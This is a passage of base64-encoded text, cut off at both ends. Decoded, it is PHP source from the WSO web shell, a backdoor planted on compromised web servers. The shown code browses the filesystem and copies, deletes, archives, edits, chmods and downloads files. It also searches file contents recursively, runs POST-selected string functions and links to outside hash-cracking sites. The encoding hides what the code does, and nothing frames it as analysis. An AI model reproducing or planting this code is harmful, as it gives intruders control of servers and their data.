FdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKCSRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKCSRuID0gY291bnQoJGRpckNvbnRlbnQpOwoJZm9yKCRpPTA7JGk8JG47JGkrKykgewoJCSRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAoJCQkJCSAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLAoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCgkJCQkJKTsKCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7CgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJfQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwoJZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgewoJCWlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CgkJZWxzZQoJCQlyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJfQoJdXNvcnQoJGZpbGVzLCAid3NvQ21wIik7Cgl1c29ydCgkZGlycywgIndzb0NtcCIpOwoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkkbCA9IDA7Cglmb3JlYWNoKCRmaWxlcyBhcyAkZikgewoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKCQkkbCA9ICRsPzA6MTsKCX0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03PgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4KCTxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOwogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsKICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOwogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pKQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsKICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7CiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkKICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnPyd6aXAnOid0YXIuZ3onKSAuICInPiZuYnNwOyI7CiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoCgkJJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKCQknVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAoJCSdtZDUgaGFzaCcgPT4gJ21kNScsCgkJJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAoJCSdjcnlwdCcgPT4gJ2NyeXB0JywKCQknQ1JDMzInID0+ICdjcmMzMicsCgkJJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAoJCSdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKCQknQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAoJKTsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOwoJCW9iX3N0YXJ0KCk7CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7Cgl3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7Cglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwoJfQoJZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+CgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+CgkJCTwvdGFibGU+PC9mb3JtPiI7CgoJZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgewoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykKCQkJJHBhdGguPScvJzsKCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsKCQlpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgewoJCQlmb3JlYWNoKCRwYXRocyBhcyAkaXRlbSkgewoJCQkJaWYoQGlzX2RpcigkaXRlbSkpewoJCQkJCWlmKCRwYXRoIT0kaXRlbSkKCQkJCQkJd3NvUmVjdXJzaXZlR2xvYigkaXRlbSk7CgkJCQl9IGVsc2UgewoJCQkJCWlmKGVtcHR5KCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkaXRlbSksICRfUE9TVFsncDInXSkhPT1mYWxzZSkKCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJGl0ZW0pLiJcIiwgXCJ2aWV3XCIsXCJcIiknPiIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIjwvYT48YnI+IjsKCQkJCX0KCQkJfQoJCX0KCX0KCWlmKEAkX1BPU1RbJ3AzJ10pCgkJd3NvUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7CgllY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+CgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdCcgdmFsdWU9J2ZpbmQnLz4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2NyYWNrZm9yLm1lJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vY3JhY2tmb3IubWUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQk8L2Zvcm0+PC9kaXY+IjsKCXdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsKCQkJfSBlbHNlCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfWV4aXQ7Cgl9CglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwoJCQlpZigkZnApIHsKCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfQoJfQoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CgkJd3NvRm9vdGVyKCk7CgkJcmV0dXJuOwoJfQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwoJaWYoISR1aWQpIHsKCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7CgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOwoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsKCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcud3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsKCWVjaG8gJzxzcGFuPkNoYW5nZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQoJCSRfUE9TVFsncDInXSA9ICd2aWV3JzsKCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWVsc2UKCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWZvcmVhY2goJG0gYXMgJHYpCgkJZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7CgllY2hvICc8YnI+PGJyPic7Cglzd2l0Y2goJF9QT1NUWydwMiddKSB7CgkJY2FzZSAndmlldyc6CgkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoICFAZmVvZigkZnApICkKCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQl9CgkJCWVjaG8gJzwvcHJlPic7CgkJCWJyZWFrOwoJCWNhc2UgJ2hpZ2hsaWdodCc6CgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsKCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKCQkJCSRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSAnY2htb2QnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkcGVybXMgPSAwOwoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkKCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOwoJCQkJaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwoJCQl9CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2N